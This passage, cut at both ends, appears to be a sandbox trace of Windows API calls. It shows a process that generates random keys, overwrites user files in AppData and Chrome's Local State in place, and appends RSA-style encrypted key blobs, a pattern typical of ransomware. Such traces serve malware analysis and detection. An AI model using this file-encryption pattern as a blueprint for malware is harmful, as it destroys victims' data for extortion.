(in: hFile=0x9d8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xf76f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xf76f, lpOverlapped=0x0) returned 1 [0156.506] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-63343, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.506] WriteFile (in: hFile=0x9d8, lpBuffer=0x2ef2788*, nNumberOfBytesToWrite=0xf76f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf76f, lpOverlapped=0x0) returned 1 [0156.507] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf76f [0156.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.507] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.508] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.508] CloseHandle (hObject=0x9d8) returned 1 [0156.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0156.510] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", dwFileAttributes=0x80) returned 1 [0156.510] ReadFile (in: hFile=0x9d8, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1400, lpOverlapped=0x0) returned 1 [0156.520] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-5120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.520] WriteFile (in: hFile=0x9d8, lpBuffer=0x2fbd410*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbd410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1400, lpOverlapped=0x0) returned 1 [0156.521] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1400 [0156.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.521] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.521] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.521] CloseHandle (hObject=0x9d8) returned 1 [0156.523] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0156.523] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.523] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", dwFileAttributes=0x80) returned 1 [0156.523] ReadFile (in: hFile=0x9d8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x1aaac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1aaac, lpOverlapped=0x0) returned 1 [0156.532] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-109228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.532] WriteFile (in: hFile=0x9d8, lpBuffer=0x2efdac8*, nNumberOfBytesToWrite=0x1aaac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2efdac8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1aaac, lpOverlapped=0x0) returned 1 [0156.534] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1aaac [0156.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.534] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.535] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.535] CloseHandle (hObject=0x9d8) returned 1 [0156.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0156.538] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", dwFileAttributes=0x80) returned 1 [0156.538] ReadFile (in: hFile=0x9d8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xf6b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xf6b0, lpOverlapped=0x0) returned 1 [0156.549] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-63152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.549] WriteFile (in: hFile=0x9d8, lpBuffer=0x2ef26c8*, nNumberOfBytesToWrite=0xf6b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef26c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf6b0, lpOverlapped=0x0) returned 1 [0156.549] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf6b0 [0156.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.550] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.550] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.550] CloseHandle (hObject=0x9d8) returned 1 [0156.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0156.551] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", dwFileAttributes=0x80) returned 1 [0156.552] ReadFile (in: hFile=0x9d8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x24c57, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x24c57, lpOverlapped=0x0) returned 1 [0156.578] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-150615, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.578] WriteFile (in: hFile=0x9d8, lpBuffer=0x2fbc008*, nNumberOfBytesToWrite=0x24c57, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x24c57, lpOverlapped=0x0) returned 1 [0156.580] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x24c57 [0156.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.581] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.582] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.582] CloseHandle (hObject=0x9d8) returned 1 [0156.583] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.583] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.583] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", dwFileAttributes=0x80) returned 1 [0156.584] ReadFile (in: hFile=0x9d8, lpBuffer=0x2f68888, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f68888*, lpNumberOfBytesRead=0x2e1f9bc*=0x40b, lpOverlapped=0x0) returned 1 [0156.591] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-1035, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.591] WriteFile (in: hFile=0x9d8, lpBuffer=0x2f68ca0*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f68ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40b, lpOverlapped=0x0) returned 1 [0156.592] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40b [0156.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.592] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.592] WriteFile (in: hFile=0x9d8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.593] CloseHandle (hObject=0x9d8) returned 1 [0156.595] WriteFile (in: hFile=0x370, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.596] CloseHandle (hObject=0x370) returned 1 [0156.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.596] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.596] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x80) returned 1 [0156.597] ReadFile (in: hFile=0x9dc, lpBuffer=0x2f68888, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f68888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa74, lpOverlapped=0x0) returned 1 [0156.616] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=-2676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.616] WriteFile (in: hFile=0x9dc, lpBuffer=0x2fbc008*, nNumberOfBytesToWrite=0xa74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa74, lpOverlapped=0x0) returned 1 [0156.617] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa74 [0156.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.617] WriteFile (in: hFile=0x9dc, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.617] WriteFile (in: hFile=0x9dc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.618] CloseHandle (hObject=0x9dc) returned 1 [0156.620] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0156.620] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0156.620] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x80) returned 1 [0156.621] ReadFile (in: hFile=0x9dc, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x102a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x102a0, lpOverlapped=0x0) returned 1 [0156.643] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=-66208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.643] WriteFile (in: hFile=0x9dc, lpBuffer=0x2fcc2b0*, nNumberOfBytesToWrite=0x102a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fcc2b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x102a0, lpOverlapped=0x0) returned 1 [0156.644] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x102a0 [0156.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.644] WriteFile (in: hFile=0x9dc, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.644] WriteFile (in: hFile=0x9dc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.645] CloseHandle (hObject=0x9dc) returned 1 [0156.653] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.653] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.653] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\AggregateCache.uca", dwFileAttributes=0x80) returned 1 [0156.654] ReadFile (in: hFile=0x9e4, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0156.655] SetFilePointer (in: hFile=0x9e4, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.655] WriteFile (in: hFile=0x9e4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0156.655] SetFilePointer (in: hFile=0x9e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4 [0156.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.656] WriteFile (in: hFile=0x9e4, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.656] WriteFile (in: hFile=0x9e4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.656] CloseHandle (hObject=0x9e4) returned 1 [0156.657] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.658] CloseHandle (hObject=0x9e8) returned 1 [0156.659] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.660] CloseHandle (hObject=0x9e8) returned 1 [0156.660] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.661] CloseHandle (hObject=0x9e8) returned 1 [0156.661] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.662] CloseHandle (hObject=0x9e8) returned 1 [0156.663] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.664] CloseHandle (hObject=0x9e8) returned 1 [0156.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.666] CloseHandle (hObject=0x9e8) returned 1 [0156.666] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.667] CloseHandle (hObject=0x9e8) returned 1 [0156.669] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.669] CloseHandle (hObject=0x9e8) returned 1 [0156.670] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.671] CloseHandle (hObject=0x9e8) returned 1 [0156.671] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.672] CloseHandle (hObject=0x9e8) returned 1 [0156.672] WriteFile (in: hFile=0x9e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.673] CloseHandle (hObject=0x9e8) returned 1 [0156.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0156.673] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dwFileAttributes=0x80) returned 1 [0156.674] ReadFile (in: hFile=0x9e8, lpBuffer=0x2fbe010, nNumberOfBytesToRead=0x12408, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbe010*, lpNumberOfBytesRead=0x2e1f9bc*=0x12408, lpOverlapped=0x0) returned 1 [0156.757] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=-74760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.757] WriteFile (in: hFile=0x9e8, lpBuffer=0x2fd0420*, nNumberOfBytesToWrite=0x12408, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | 